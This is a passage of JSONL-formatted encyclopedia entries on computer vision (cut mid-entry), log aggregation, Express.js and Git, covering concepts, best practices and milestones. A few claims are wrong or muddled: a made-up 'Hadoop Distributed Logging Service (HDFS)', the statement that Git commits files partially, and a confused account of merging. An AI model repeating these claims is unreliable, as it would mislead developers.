segmentation. For 3D work, NDT, ICP, CPD, SGM, and SGBM algorithms are useful. \n\nBresenham's line algorithm is for drawing lines in raster graphics. To relate corresponding points in stereo images, use Fundamental Matrix. \n\nFrom the world of machine learning algorithms we have CNNs and Deep CNNs. We also have SVM, KNN, and more. \n\n\n### What are the current challenges in Computer Vision?\n\nIt's been shown that \"adversarial\" images in which pixels are selectively changed can trick image classification systems. For example, Google Cloud Vision API thinks it's looking at a dog when really the scene has skiers. \n\nAlgorithms are capable of deductive reasoning but are poor with understanding context, analogies and inductive reasoning. For example, CV can recognize a book but the same book when used as a doorstop will be seen only as a book. In other words, CV is incapable of understanding a scene. \n\nWhile CV has progressed with object recognition, accuracy can suffer if the background is cluttered with details or the object is shown under different lighting in a different angle. In other words, *invariant* object recognition is still a challenge. \n\nThere are also challenges in creating low-powered CV solutions that can be used in smartphones and drones. Embedded vision is becoming mainstream in automotive, wearables, gaming, surveillance, and augmented reality with a focus towards object detection, gesture recognition, and mapping functions. \n\n\n### What software tools would you recommend for doing Computer Vision?\n\nThe easy approach to use CV into your applications is to invoke CV APIs: Microsoft Azure Computer Vision, AWS Rekognition, Google Cloud Vision, IBM Watson Visual Recognition, Cloud Sight, Clarifai, and more. These cover image classification, face detection/recognition, emotion detection, optical character recognition (OCR), text detection, landmark detection, content moderation, and more. \n\n**OpenCV** is a popular multiplatform tool with C/C++, Java and Python bindings; but it doesn't have native GPU support. For coding directly in Python, there's also NumPy, SciPy and scikit-image. **SimpleCV** is great for prototyping before you adopt OpenCV for more serious work. \n\nComputer Vision Toolbox from MathWorks is a paid tool but it can simplify the design and testing of CV algorithms including 3D vision and video processing. C# and .NET developers can use AForge.NET/Accord.NET for image processing. For using CNNs, **TensorFlow** is a popular tool. **CUDA Toolkit** can help you get the best performance out of GPUs. Try **Tesseract** for OCR. \n\nFor more tools, see eSpace on Medium, ResearchGate and Computer Vision Online.\n\n## Milestones\n\n1957\n\nRussell Kirsch at the National Bureau of Standards (now called NIST) asks, \"What would happen if computers could look at pictures?\" Kirsch and his colleagues develop equipment to scan a photograph and represent it in the world of computers. They scan a 5cm x 5cm photograph of Kirsch's infant son into an array of 176 x 176 pixels. \n\n1959\n\nNeurophysiologists David Hubel and Torsten Wiesel discover that a cat's visual cortex is activated not by objects but by simple structures such as oriented edges. It's only decades later that we use this in the design of CNNs. \n\n1963\n\nLarry Roberts publishes his PhD thesis at MIT. His idea is to create a 3D representation based on perspectives contained in 2D pictures. This is done by transforming images into line drawings. Soon after this, Roberts joins DARPA and becomes one of the founders of the ARPANET that eventually evolves into the Internet. Roberts is considered at the father of computer vision. \n\n1966\n\nThe summer of 1966 is considered the official birth of computer vision. Seymour Papert of MIT's AI Lab defines the \"Summer Vision Project\". The idea is to do segmentation and pattern recognition on real-world images. The project proves too challenging for its time and not much is achieved. \n\n1971\n\nResearch in computer vision continues in the direction suggested by Roberts. David Huffman and Max Clowes independently publish **line labelling algorithms**. Lines are labelled (convex, concave, occluded) and then used to discern the shape of objects. \n\n1974\n\nTo overcome blindness, Kurzweil Computer Products comes up with a program to do OCR. This comes at a time when funding and confidence in AI was at its lowest point, now called as the AI Winter of the 1970s. \n\n1979\n\nDavid Marr suggests a **bottom-up approach** to computer vision (his book is published posthumously in 1982). He states that vision is hierarchical. It doesn't start with high-level objects. Rather, it starts with low-level features (edges, curves, corners) from which higher level details are built up. In the 1980s, this leads to greater focus on low-level processing and goes on to influence deep learning systems. Marr's work is now considered a breakthrough in computer vision. \n\n1980\n\nIn 1980, Kunihiko Fukushima designs a neural network called *Neocognitron* for pattern recognition. It's inspired by the earlier work of Hubel and Wiesel. It includes many convolutional layers and may be called the first deep neural network. Later this decade, **math and stats** begin to play a more significant role in computer vision. Some examples of math-inspired contributions include Lucas-Kanade algorithm (1981) for flow calculation, Canny edge detector (1986), and eigenface for facial recognition (1991).  \n\n1990\n\nIn the early 1990s, in criticism of Marr's approach, **goal-oriented** computer vision emerges. The idea is that we often don't need 3D models of the world. For example, a self-driving car only needs to know if the object is moving away or towards the vehicle. One of the proponents of this approach is Yiannis Aloimonos. \n\n2012\n\n**AlexNet** wins the annual ImageNet object classification competition with the idea that depth of a neural network is important for accurate results. AlexNet uses five convolutional layers followed by three fully connected layers. It's considered a breakthrough in computer vision, inspiring further research in its footsteps. In 2015, Microsoft's ResNet of 152 layers obtains better accuracy.","meta":{"title":"Computer Vision","href":"computer-vision"}}
{"text":"# Log Aggregation\n\n## Summary\n\n\nLog aggregation is the process of collecting, organizing, and analyzing log data from various sources across a system or network. Logs are records of events or messages generated by software, devices, or systems. Such logs are used to diagnose problems, monitor system performance, and identify security issues.\n\nLog aggregation is especially important in complex systems and distributed environments, where logs are generated by a large number of components and can be difficult to access and analyze. By aggregating logs from different sources into a single centralized logging system, administrators can get a holistic view of system health and detect issues that may not be apparent when looking at individual logs.\n\nLogs come in different formats, types and sources. Log aggregation tools are available to handle all aspects of log management including dashboards, alerts, and reports.\n\n## Discussion\n\n### Why do we need log aggregation?\n\nIn a monolithic architecture, all the components of the application are running on a single host. The logs are relatively easier to access and analyze. However, as the application grows, the logs can become unwieldy and difficult to manage. So log aggregation is still useful to centralize logs and make it easier to identify and resolve issues.\n\nLog aggregation is even more critical in a microservices architecture because the services are distributed. Services generate logs on different hosts. This makes it harder to troubleshoot issues when they arise. Log aggregation leads to faster and more effective incident response.\n\n\n### What's a typical log aggregation architecture for microservices?\n\nIn a typical architecture, each microservice stores log entries into a file or sends them to a log stream. A **log stream** can be thought of as a real-time, unstructured data feed of the activities and events occurring within a specific component or application.\n\nOn each host is an agent software called the **log collector**. It forwards the log to a **central log repository**. The centralized repository may be a database, a file system, or a cloud-based storage service. The log collector itself may be a separate process running on the host. Where the deployment is in a Kubernetes cluster, the log collector may be a separate container (aka sidecar container) running in the same pod as the main container.\n\nOnce logs are in the repository, there are **tools** to search, visualize and analyze them. ELK stack is one such tool. Logs can also be analyzed as they're being moved into the repository, what's called streaming analytics. This makes sense for critical applications that require real-time monitoring/metrics/alerts and immediate corrective action.\n\n\n### What types of logs are involved in log aggregation?\n\nSince it's hard to predict what sort of problems may crop up and where, a well-designed application must collect many types of logs. **Application logs** provide information about the behaviour of the application. **Infrastructure logs** provide information about the underlying system and its components. Both are important for troubleshooting issues. A good practice is to tag and structure the logs so that they can be easily searched and analyzed.\n\nApplication logs can be further sub-divided into security logs, audit logs, database logs, application server logs, middleware logs, and so on. Likewise, infrastructure logs can be further sub-divided into security logs, audit logs, operating system logs, network logs, and so on. Each log type must contain sufficient details relevant to its context. For example, security logs would include unauthorized access attempts. Database logs would include transactions. Middleware logs would contain information about message queues.\n\nMetrics complement logs towards better monitoring and observability. **Metrics** are structured data points (CPU usage, memory usage, network traffic, response times, etc) collected at regular intervals. While logs provide a detailed record of individual events, metrics provide a high-level view of overall system performance.\n\n\n### How are logs from different sources interleaved?\n\nLogs can be interleaved at different stages of the log aggregation process, such as when they are collected by log collectors, stored in a database or file system, or analyzed by log search and analysis tools. The specific interleaving method used depends on the requirements of the system and the use case.\n\nThe most method is **time-based interleaving** that orders logs based on the time they were generated. This is useful for correlating events across different services or devices.\n\n**Source-based interleaving** is more suited for analyzing logs from a specific component or service.\n\n**Event-based interleaving** uses events or messages to organize logs. This is useful for identifying patterns and trends in the log data. A related method is **transaction-based interleaving**. This is useful for tracking the progress of a specific transaction or operation across different services.\n\n\n### What log format should I adopt for log aggregation?\n\nWhen choosing a log format for log aggregation, there are several factors to consider: level of detail, analysis tools, logging libraries in the selected programming language, etc. Some frameworks and libraries support many different formats. Examples include Log4j (Java logging library) and Fluentd (open-source data collector).\n\nA popular format is **JSON (JavaScript Object Notation)** because of its flexibility and support in many programming languages. It's lightweight and text-based. It's easy to read and parse.\n\n**Syslog** is a standard for logging messages and events. It's supported by many operating systems and network devices. It's commonly used in enterprise environments. Syslog messages are sent over UDP or TCP and can be easily collected by a Syslog server.\n\nApache's **Common Log Format (CLF)** is used for logging HTTP server requests. It's widely supported by web servers and web application frameworks. Like JSON, it's text-based and easy to parse and analyze.\n\n\n### What are the best practices for log aggregation?\n\nDefine a clear logging strategy. Set out the goal of log analysis: identify bottlenecks, optimize performance, regulatory compliance, etc. Determine what log data you need to collect, how long you need to retain it, and what tools you will use for analysis and visualization. Regularly review the strategy since log aggregation is an ongoing process that requires regular maintenance and updates.\n\nCollect logs in real time, rather than relying on batch processing or manual collection. If real-time analysis is not possible, at least regularly analyze logs. Use a standardized logging format, such as JSON or Syslog, to make it easier to parse and analyze logs.\n\nStoring all logs in a central location is a pre-requisite. Implement security controls to protect log data, such as encrypting logs in transit and at rest, and restricting access to logs based on user roles.\n\nRotate log files regularly to prevent them from becoming too large. Monitor the system and set up alerts to warn of lost logs, bottlenecks or unusual activity.\n\nMany of these best practices are also part of the CNCF guidelines for logging in cloud-native environments.\n\n\n### What should developers and log analysts know about log aggregation?\n\nLogs provide a wealth of information about application behaviour, including errors, warnings, performance metrics, trends and patterns. Developers should strive to make logs as useful as possible given this context. Too much logging can impact performance, especially if logging is synchronous. Developers must balance the need for information with the impact on performance.\n\nLog data should be designed for machine consumption. This means logs should be standardized so that tools can process them effectively.\n\nLogs are also data. Like in any data analytics workflow, log analytics has similar challenges: data volume, variety, quality, security, and accessibility. Authentication credentials and personally identifiable information (PII) should not be in the logs, or if present, should be perhaps encrypted. Logs should be clean of errors, duplicates, or other inconsistencies.\n\nWhen troubleshooting problems with logging, check that the log source is actually generating and sending the logs. Check the log configuration. If logs are not reaching the central repository, check the log collector, network connections or firewall settings. Another technique is to increase the logging level to view detailed logs. To deal will log loss, implementing redundancy (multiple logging systems) may be necessary.\n\n\n### What are some case studies of log aggregation?\n\nAirbnb uses a combination of open-source tools, including Logstash, Kibana, and Elasticsearch, for log aggregation. The company collects log data from over 50,000 servers and analyzes over 200 GB of log data per day. Airbnb uses log aggregation to monitor application performance, detect security incidents, and troubleshoot issues.\n\nUber uses a custom-built log aggregation system called Marmaray to collect and analyze log data from its microservices architecture. Marmaray provides real-time log analysis and allows Uber to identify and troubleshoot issues quickly. Uber also uses Apache Kafka to collect log data from its applications and store it in a centralized location.\n\nNetflix uses a combination of open-source tools, including Apache Kafka, Apache Cassandra, and Elasticsearch, for log aggregation. The company collects over 1 trillion events per day and also does real-time log analysis. In-house tools for log aggregation include the Spectator library for collecting application metrics, the Atlas service for storing and querying metric data, and the Mantis service for real-time stream processing.\n\n## Milestones\n\n1984\n\nThe **syslog** protocol is developed for UNIX systems. Syslog is a standard for logging messages, and it allows system administrators to collect and store logs from multiple sources. In 2000, a more advanced implementation of syslog called **rsyslog** is launch. It supports features such as filtering, log rotation, and remote logging.\n\n1999\n\nThe concept of log aggregation gains popularity with the advent of **distributed systems and service-oriented architectures (SOA)** in the late 1990s. As the number of systems and services in these architectures increase, the need for a centralized approach to log management becomes more critical.\n\n2000\n\nIn the early 2000s, the rise of **cloud computing** and the popularity of **containerization** leads to a new wave of log aggregation solutions. These solutions were designed to collect logs from virtual machines and containerized environments and store them in cloud-based log management platforms.\n\n2006\n\nThe Apache Hadoop project is launched. Hadoop is a distributed computing platform that includes the Hadoop Distributed File System (HDFS) for storing and processing large datasets. Hadoop includes the **Hadoop Distributed Logging Service (HDFS)** for aggregating and analyzing log data.\n\n2008\n\n**Graylog** is launched. It's an open-source log management platform that includes features such as log aggregation, search, and visualization. Other tools follow: Logstash (2009), Elasticsearch (2010), Fluentd (2012) and Prometheus (2016).\n\n2019\n\nThe Cloud Native Computing Foundation (CNCF) releases a set of **guidelines for logging in cloud-native environments**. The guidelines emphasize the importance of structured logging and recommend the use of tools such as Fluentd and Elasticsearch for log aggregation.","meta":{"title":"Log Aggregation","href":"log-aggregation"}}
{"text":"# Express.js\n\n## Summary\n\n\nExpress is a minimalistic web framework based on Node.js. It's essentially a series of *middleware function calls*, each of which does something specific. Express in not opinionated, which is also why you're free to use it in different ways. For example, it doesn't enforce a particular design pattern or a folder structure. \n\nExpress is an open source project that's been managed by Node.js Foundation since 2016. Express has good adoption. It's part of the MEAN stack. It's also being used by many other web frameworks such as Kraken, LoopBack, Keystone and Sails. However, it's been said that Express is not suited for large projects/teams.\n\n## Discussion\n\n### Why should I use Express.js when there's already Node.js?\n\nWhile it's possible to build a web app or an API service with only Node.js, Express.js simplifies the development process. Express itself is based on Node. It's been said that Express... \n\n> provides a thin layer of fundamental Web application features, without obscuring Node.js features that you know and love.\n\nFor example, sending an image is complex in Node but easily done in Express. In Node, the route handler is a large monolith but Express enables more modular design and maintainable code. \n\nNode is a JavaScript runtime for server-side execution. Thus, Node can be used as the app server for your web application. Express is seen as a lightweight web framework. Express comes with a number of \"middleware\" software that implement out-of-the-box solutions for typical web app requirements. HTTP requests/responses are relayed by Node to Express, whose middleware then do the processing. \n\n\n### Could you explain the concept of middleware in Express.js?\n\nWhen client requests are received, the server doesn't handle all of them alike. For example, submitting a form is handled differently from clicking a like button. Thus, each request has a well-defined handler, to which it must be properly routed.\n\nMiddleware sits in the routing layer. Express is basically a routing layer composed of many modular processing units called middleware. Requests are processed by middleware functions before sent to the handlers.\n\nA request-response cycle can invoke a series of middleware functions. A middleware can access and modify the request and response objects. Once a middleware function has completed, it can either pass control to the next middleware function (by calling `next()`) or end the cycle by sending a response to the client. Since middleware can send responses, even the request handlers can be treated or implemented as middleware.\n\nMiddleware can also be called after the request is processed and response is sent to the client. But in this case, middleware can't modify the request and response objects.\n\n\n### What are the different types of Express.js middleware?\n\nThere are a few types of Express middleware: \n\n    + **Application-level**: These are bound to an instance of the application object `express()`. They are called for every app request. The middleware signature is `function (req, res, next)`.\n    + **Router-level**: These are bound to an instance of the router `express.Router()`. Otherwise, they work similar to app-level middleware.\n    + **Error-handling**: Any middleware can throw an error. These can be caught and handled by error-handling middleware. These middleware have an extra argument in their signature: `function (err, req, res, next)`.\n    + **Built-in**: These are built into default Express installation. These include `express.static`, `express.json` and `express.urlencoded`.\n    + **Third-party**: Express has a rich ecosystem of third-party developers contributing useful middleware. Some of these are maintained by the Express team, while others come from the community. For an example list of some Express middleware, visit Express Resources Middleware page.\n\n### What are some useful or recommended middleware for Express.js?\n\nWithout being exhaustive here are some useful middleware: \n\n    + *body-parser*: To parse HTTP request body.\n    + *compression*: Compresses HTTP responses.\n    + *cookie-parser*: Parse cookie header.\n    + *cookie-session*: Establish cookie-based sessions.\n    + *cors*: Enable Cross-Origin Resource Sharing (CORS).\n    + *csrf*: Protect from Cross-Site Request Forgery (CSRF) exploits.\n    + *errorhandler*: Development error-handling/debugging.\n    + *morgan*: HTTP request logger. Alternatives are *winston* and *bunyan*.\n    + *timeout*: Set a timeout period for HTTP request processing.\n    + *helmet*: Helps secure your apps by setting various HTTP headers.\n    + *passport*: Authentication using OAuth, OpenID and many others.\n    + *express-async-handler*: For Async/await support. An alternative is *@awaitjs/express*.\n    + *express-cluster*: Run express on multiple processes.\n\n### As a beginner, how can I get started with Express.js?\n\nA beginner should first learn the basics of JavaScript, Node.js and Express.js, in that order. Express website has useful tutorials. The routing guide is a good place to start. For in-depth understanding, or as a handy reference, use the API Reference.\n\nInstall Node.js first. Then install Express.js: `npm install express --save` \n\nSince Express is unopinionated, your folder structure can be anything that suits your project. However, *express-generator* is a package that gives beginners a basic structure to start with. This installs the *express* command-line tool, which can be used to initialize your app. You get to choose your preferred templating engine (pug, ejs, handlebars) and styling support (less, stylus, compass, sass). \n\n\n### Where is Express.js not a suitable framework?\n\nExpress is not recommended for large projects. \n\nAlthough Express is lightweight, for performance-critical apps such as highly scalable REST API services, prefer to use specialized Node frameworks such as fastify, restana, restify, koa, or polka. \n\n\n### What are some best practices when using Express.js?\n\nAdopt a modular structure to make your code more manageable. \n\nIn production, log requests and API calls but minimize debug logs. A package such as debug might help in configuring the logging contexts. Pipe logs from `console.log()` or `console.error()` to another program since saving them to file or printing to console make the calls synchronous. \n\nIn general, avoid synchronous calls. Use Node's command-line flag `--trace-sync-io` (during development only) to be warned when synchronous calls happen. \n\nFor performance, use compression middleware. For security, use helmet. To run multiple instances on multicore systems, launch your app on a **cluster** of processes. The cluster can be frontended with a **load balancer**, which can be a reverse proxy such as Nginx or HAProxy. \n\nHandle errors using try-catch or promises. Don't listen for `uncaughtException` event to handle errors. This might be a way to prevent your app from crashing but a better way is to use a **process manager** (StrongLoop Process Manager, PM2, Forever) to restart the app automatically. \n\n## Milestones\n\n2009\n\nRyan Dahl and others at Joyent develop Node.js with initial support for only Linux. The name *Node* is coined in March. Being open source, version 0.1.0 is released on GitHub in May. In November, Ryan Dahl presents Node.js at JSConf in Berlin. \n\nNov  \n2010\n\nAs a web development framework based on Node.js, v1.0.0 of **Express.js** is released. The development of Express can be traced to January 2010 when v0.1.0 was committed on GitHub. \n\n2011\n\nTo manage packages for Node.js, **Node Package Manager (NPM)** is released. An early preview of NPM can be traced to 2009, by Isaac Z. Schlueter. \n\nApr  \n2013\n\nValeri Karpov at MongoDB proposes a full-stack solution that he terms the **MEAN stack**: MongoDB, Express, Angular and Node. Given that three of these are based on JavaScript, this promotes the demand for full-stack developers who can handle both frontend and backend code. \n\nJul  \n2014\n\nStrongLoop acquires commercial rights to Express. StrongLoop itself offers an open source API framework called **LoopBack** on top of Node and Express. Some community folks criticize this \"sponsorship\" or \"sale\" of what was an open source project. \n\nFeb  \n2015\n\nJoyent, IBM, Microsoft, PayPal, Fidelity, SAP and The Linux Foundation come together to establish **Node.js Foundation**. \n\nSep  \n2015\n\nIBM acquires StrongLoop, a company that specializes in Node.js, Express.js and API management. StrongLoop is said to offer \"robust implementation, making Node.js enterprise-grade\". This acquisition could mean better adoption of Node and Express in the corporate world. \n\nFeb  \n2016\n\nDoug Wilson, one of the main contributors to Express, decides to stop working on Express. This is mainly because what was once an open source project is now controlled by IBM/StrongLoop. Express community also state their unhappiness with the way the framework is managed. Meanwhile, in a move towards open governance, Express is handed over to Node.js Foundation as an incubation project. \n\nOct  \n2018\n\nVersion 4.16.4 of Express is released. The same month version 5.0.0-alpha.7 is released. Version 5.0.0-alpha.1 can be traced back to November 2014.","meta":{"title":"Express.js","href":"express-js"}}
{"text":"# Git\n\n## Summary\n\n\nGit is a popular free and open source distributed version control system for managing small to large-scale projects. It keeps track of the changes made to files in a project, making it easy to roll back when necessary. It is compatible with a wide range of operating systems and integrated development environments making it accessible to a large range of developers. \n\nGit is a software that tracks Files and their history. Online hosting providers of git such as Github helps developers to remotely collaborate and combine each other's work.\n\n## Discussion\n\n### Why do developers need to learn Git?\n\nGit is useful for everyone from web developers to app developers who develop code or make changes to their files , if a set of people are working on one project, there is a risk of overwriting or conflicting with each others work to avoid these problems we can use Git which help teams to collaborate by implementing version control system(VCS). The most significant advantage is they can track and compare the modifications made to the files and revert back to their earlier versions if necessary. \n\nVersion Control System (VCS) are specialized software which keeps the code in a central location and allows a team of people for sharing, collaborating and to track and make changes to their work which makes it easier to develop software in a continuous and straightforward manner. \n\n\n### What is a Git Repository?\n\nA Repository in Git stores all the project related files as well as the revised history of all the files. It is virtual storage for your projects as it creates a sub-directory named .git (Usually hidden) inside your project directory to store these files. This directory is the heart of the repository where it also tracks the changes done to the files. So that deleting the.git/ subdirectory deletes the history of your project.  \n\nThere are different ways to create a repository git init command is used to create a new repository locally and the git clone creates a local copy of a full copy of an existing repository stored on a remote server .\n\n\n### What is the difference between Bare and Non-Bare git repository?\n\nA bare repository is a git repository that is just used for collaboration among multiple individuals for push and pull, with no active development or code written directly. It can serve as a remote repository for team members to share code. Bare Repository can be created using `git init --bare` command and if you list the contents inside the directory you can see the contents of what is normally found inside the .git directory. Individual users can't make changes or create new versions. .\n\nIn a non-bare repository, files under that reside under .git directory retain the snapshot of tracked files and allow you to edit the files under the working directory, whereas in a bare repository, you will not see the .git directory and instead all of the files that normally reside under .git will be present right over in the root directory \n\n`git init` command, by default creates a non-bare repository. \\* Except for a few variations,both bare and non-bare repositories are almost identical  .\n\n\n### What is the Difference between Git and SVN?\n\nGit is a distributed version control system (DVCS) that saves a local copy of the repository on each member's machine. Any modification made to these files, referred to as a commit, is compared with the previous version and updates happen only to the alterations made in the files. Each user has their own repository as well as a working copy. Other members won't be able to see your modifications until you push changes to the central repository. \n\nSVN (Subversion) is a centralised version control system (CVCS) that requires individuals working on a repository to download the most recent version from a central location. Limitations of CVCS is that it need to be connected to the central repo to get the latest version of repository and also it can't perform other repo operations locally like DVCS. Despite the fact that each user has their own working copy, there is only one central repository where other members can see and update your changes as soon as you push them. \n\n\n### Tell me some interesting features of Git\n\n    + **Troubleshooting**: git blame command shows line-by-line revision history done by an author. git bisect command is also used to assess good or bad commits by going throughout the project history. When we have a little idea of how a certain bug was introduced git bisect can be useful whereas git blame can be used when we couldn't find the exact cause for the problem.\n    + **Branching and Merging**:Branches create separate copies of files in a repository for users and changes made to these files by users is not reflected on the main code and is independent of each other. This can help users to test and develop new features and commit to the main code only if required. A Sequence of commits from branches are called merging.\n    + **Rebasing**: Changes made to the files can be replayed in the same sequence. Commits can be made on the main branch on top of other different commits made recently by another user. Each commit is made one by one so that if a conflict happens the rebasing is paused until it's fixed.\n\n### What is a Git workflow?\n\nIt is a method of using Git in a productive and feasible manner. There are no specific rules these are some common practices and can be considered as guidelines for the development. Some commonly used workflows are described below :\n\n \n\n    + **Centralized Workflow**: Similar to SVN a single collaboration model is conceptually centralized though it is decentralized technically. Though the project is contributed by multiple users there is only a single-point-of-entry for the changes made. The work done by each developer is merged before the changes are pushed no overwriting is allowed here.\n    + **Trunk-based development**: Development happens on a single branch called Trunk the users divide work into small pieces and merged it into the trunk frequently within few hours. This also decreases the chances of merge conflicts.\n    + **Git Flow Workflow**: There are many branches split for different purposes. Developments happen in the Develop branch with feature branches split for new features combining back to develop after getting ready. Release branch contains the code after test and is ready to be merged into the main branch. Final code ready for the release is only available in the main branch.\n\n### Can you describe Git add and commit?\n\nThe Git add command includes the new or modified files in our working directory to the staging area.Files in the staging area are the ones ready to be added in the next commit. It asks Git to include these files for the upcoming commit. You can add directories, any files, even a specific part of a file. If a deleted file is added using this command then the deletion will be staged for commit. \n\nThe term Committing is similar to saving files. Git commit would never happen without using git add for adding files to the staging area. Commits are like a recent snapshot of the repository and can show the history over a period of time. It also includes metadata like author name, timestamp etc. git revert command can be used to undo or redo a specific commit . git reset removes a specific commit and rollsback to the required commit by user . If you use git reset accidentaly and lose commits, you can use git reflog to get them back .\n\n\n### Mention the three states of Git?\n\nGit considers each file in a directory initially to be in one of two states: tracked or untracked. Files that have already been captured by git are known as tracked files. Everything else is untracked files, which are any files in your working directory not yet captured or not part of git's version control. \n\nThese three file states are possible after the files are tracked by Git .\n\n    + **Unmodified/Modified**: State of the file changes to modified whenever Files in a Repository is being edited until it is committed and stored to the local git database.\n    + **Staged/Staging area**: When we've completed all the modifications to the files it will be moved to the staged state and is ready to be committed.\n    + **Committed**: All modifications are saved in the local database, and the updated files are committed.\n\n### Can you suggest some best practices in using Git?\n\nSoftware development teams can adapt their own best practices according to their needs so there are no definite answers. Listed below are some recommended practices followed in the industry.  \n\n    + **Keep the changes minimum**: Use the least amount of code possible to solve an issue so it is easy to revert back if that doesn't work as expected. Git is known to have atomic behaviour means if there is an issue git will commit files partially and avoid the rest. So only one fix or one upgrade at a time is recommended\n    + **Writing Effective commit messages**: Describe Commit messages in a meaningful way by using a verb in the present tense. Clear messages benefit both teams and self when we look back later.\n    + **Doing Code Reviews**: Code shall be evaluated by one or a team of developers to avoid mistakes, potential bugs.\n    + **Make use of Branches**: Branches can be used to separate work among developers for efficient workflow. Code is verified and tested before merging into the main or master branch.\n\n### Which should I choose Mono-Repo vs Multi-Repo?\n\nThe term \"Mono-Repository\" refers to the storage of all codebase related to a project such as its libraries, dependencies, or services, in a single repository. This approach helps new contributors to make their initial setup easy since everything related to the project is stored in a single location. Deploying a component independently becomes difficult since all the files are tightly coupled with each other also the size of the repository would be huge in large projects. \n\nIn Multi-Repository all the project related services are stored in a separate repository. Libraries, dependencies can run altogether from an isolated environment. Teams can work autonomously with different responsibilities but need to better communicate and sync to avoid breaking the code while all the work happens independently.\n\nThere is a Multi-Mono approach known as submodules that keeps one git repository as a subdirectory of another repository.  \n\nThough these approaches have the same goal to manage the codebase with their own benefits and drawbacks. Some challenges are managing the final release, collaborating and communication among the team. Finally, it is up to the team to decide which would suit their workflow.\n\n## Milestones\n\nApr  \n2005\n\nLinus Torvalds designed the main principles of Git in a week of time to maintain the large Linux Kernel Project. Previously, a free DVCS named Bitkeeper was used until they revoked the free-of cost usage . The Word Git is a random three letter word not used by any UNIX command it doesn't have any meaning officially.\n\n\nJul  \n2005\n\nLinus Torvalds established Git as an open source for contributions, and Junio C Hamano is designated as Git's maintainer.  \n\nDec  \n2005\n\nGit 1.0 version was launched \n\nJan  \n2006\n\nThe .dircache directory is renamed to .git which stores all the information about the repository. . A command init-db to initalize repository is changed to git-init-db.  \n\nOct  \n2007\n\nPreston-Werner and Wanstrath wish to develop a platform where where programmers could host and collaborate in Git and started working on their idea of building Github.\n\n\nMay  \n2012\n\nGit logo was updated \n\nNov  \n2018\n\ngit range-diff command is introduced in version Version 2.19 it can be used to compare two sequences of commits and order of the changes made. \n\nMar  \n2021\n\ngit maintenance is introduced to optimize the repository data by speeding up commands and reducing the storage requirements.","meta":{"title":"Git","href":"git"}}